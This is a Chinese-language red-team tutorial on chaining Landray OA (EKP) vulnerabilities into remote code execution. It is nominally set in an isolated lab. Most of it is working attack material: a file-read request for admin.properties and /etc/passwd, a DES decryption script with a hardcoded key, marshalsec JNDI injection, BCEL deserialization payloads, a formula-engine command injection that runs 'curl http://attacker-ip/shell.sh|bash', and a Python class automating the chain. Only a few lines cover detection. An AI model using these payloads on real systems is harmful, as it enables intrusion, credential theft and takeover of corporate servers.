蓝凌OA安全测试全链路解析:从信息收集到RCE的实战沙箱构建
当企业办公自动化系统成为攻击者的跳板时,安全研究人员需要比黑客更早发现漏洞链中的薄弱环节。蓝凌OA作为国内广泛使用的协同办公平台,其多个历史漏洞的组合利用可以形成完整的攻击路径。本文将采用红队视角,在封闭实验环境中还原从指纹识别到远程代码执行的全过程技术细节。
1. 实验环境构建与基础信息收集
搭建安全的测试环境是研究漏洞利用链的首要条件。推荐使用VMware Workstation Pro 17配合NAT网络模式,创建隔离的虚拟网络环境。蓝凌OA的测试版本建议选择EKP 9.0至9.5之间的历史版本,这些版本包含我们需要研究的典型漏洞特征。
环境准备清单:
- VMware ESXi 6.7或Workstation 16+
- CentOS 7.9最小化安装
- JDK 1.8u202(注意避免使用251以上版本)
- MySQL 5.7.36
- 蓝凌OA安装包(建议使用官方试用版)
指纹识别是攻击链的起点,通过以下HTTP特征可以快速确认蓝凌OA版本:
GET /scripts/ekp.js HTTP/1.1 Host: target.com # 响应头中的Server字段通常包含Landray-EOMP # ekp.js文件中的版本注释会暴露具体版本号2. 初始访问:敏感信息泄露漏洞利用
信息收集阶段最有效的突破口往往是任意文件读取漏洞。蓝凌OA的custom.jsp接口存在未授权访问风险,允许攻击者获取系统敏感文件。这个环节需要配合Burp Suite等工具进行精细化操作。
典型利用流程:
- 使用Repeater模块构造特殊POST请求
- 通过file协议读取WEB-INF目录下的配置文件
- 提取数据库连接信息和加密凭证
关键请求示例:
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1 Host: 192.168.1.100 Content-Type: application/json {"body":{"file":"file:///WEB-INF/KmssConfig/admin.properties"}}表:常见可读取的关键配置文件
| 文件路径 | 信息价值 |
|---|---|
| /WEB-INF/KmssConfig/admin.properties | 后台管理密码(DES加密) |
| /WEB-INF/classes/ekp.properties | 数据库连接配置 |
| /etc/passwd | 系统用户信息 |
| /proc/self/environ | 环境变量信息 |
注意:实际测试中建议先读取/etc/hosts等非关键文件验证漏洞有效性,避免触发安全告警
3. 权限提升:后台认证绕过与JNDI注入
获取加密的管理员密码后,需要破解DES加密的凭证。蓝凌OA早期版本使用固定密钥"kmssAdminKey",可通过以下Python脚本快速解密:
from Crypto.Cipher import DES import base64 def decrypt(encrypted): cipher = DES.new(b'kmssAdminKey', DES.MODE_ECB) decrypted = cipher.decrypt(base64.b64decode(encrypted)) return decrypted.rstrip(b'\x00').decode() # 示例:解密从admin.properties获取的密码 print(decrypt("X02xY1F5T3M="))成功登录admin.do后台后,可利用测试数据库连接功能实施JNDI注入攻击。这个阶段需要搭建RMI服务配合恶意类加载:
# 使用marshalsec快速启动RMI服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \ "http://attacker-ip:8000/#Exploit" 1099 # 恶意类编译要求(保持Java 1.7兼容性) javac -source 1.7 -target 1.7 Exploit.java攻击请求示例:
POST /admin.do HTTP/1.1 Content-Type: application/x-www-form-urlencoded method=testDbConn&datasource=rmi://attacker-ip:1099/Exploit4. 持久化控制:反序列化漏洞组合利用
获得初步执行权限后,攻击者通常会寻求更稳定的控制方式。蓝凌OA的sysSearchMain.do接口存在XML反序列化漏洞,配合BCEL编码可以实现任意代码执行。
BCEL利用链构建步骤:
- 使用BCELCode工具将恶意类转换为BCEL格式
- 构造包含BCEL payload的XML结构
- 通过文件写入或直接请求触发漏洞
典型攻击流程:
// 生成BCEL编码的示例 String bcelCode = BCELEncoder.encode(Exploit.class); String payload = "<java><void class=\"com.sun.org.apache.bcel.internal.util.ClassLoader\">" + "<void method=\"loadClass\"><string>$$BCEL$$" + bcelCode + "</string>" + "<void method=\"newInstance\"></void></void></void></java>";公式编辑器漏洞提供了另一种执行路径,通过脚本参数注入可直接执行系统命令:
POST /sys/common/datajson.jsp HTTP/1.1 Content-Type: application/x-www-form-urlencoded s_bean=sysFormulaValidateByJS&script=java.lang.Runtime.getRuntime().exec("curl http://attacker-ip/shell.sh|bash");5. 工具化整合与防御检测建议
成熟的攻击者会将离散的漏洞利用过程工具化。基于Python的OA-EXPTOOL项目展示了如何将各个漏洞整合成自动化攻击链:
class LandrayExploit: def file_read(self, url, file_path): payload = {"body":{"file":f"file://{file_path}"}} return requests.post(f"{url}/custom.jsp", json=payload).text def jndi_inject(self, url, rmi_server): params = {"method":"testDbConn", "datasource":f"rmi://{rmi_server}/Exploit"} return requests.post(f"{url}/admin.do", data=params).status_code防御方应当关注以下关键检测点:
- 监控对custom.jsp的异常POST请求
- 分析admin.do接口的测试连接行为
- 建立XMLDecoder调用的安全审计规则
- 限制公式解释器的脚本执行权限
在实验环境测试时,建议使用tcpdump记录所有网络流量,配合ELK堆栈构建行为分析基线。每次测试后使用虚拟机快照还原状态,确保每次实验的纯净度。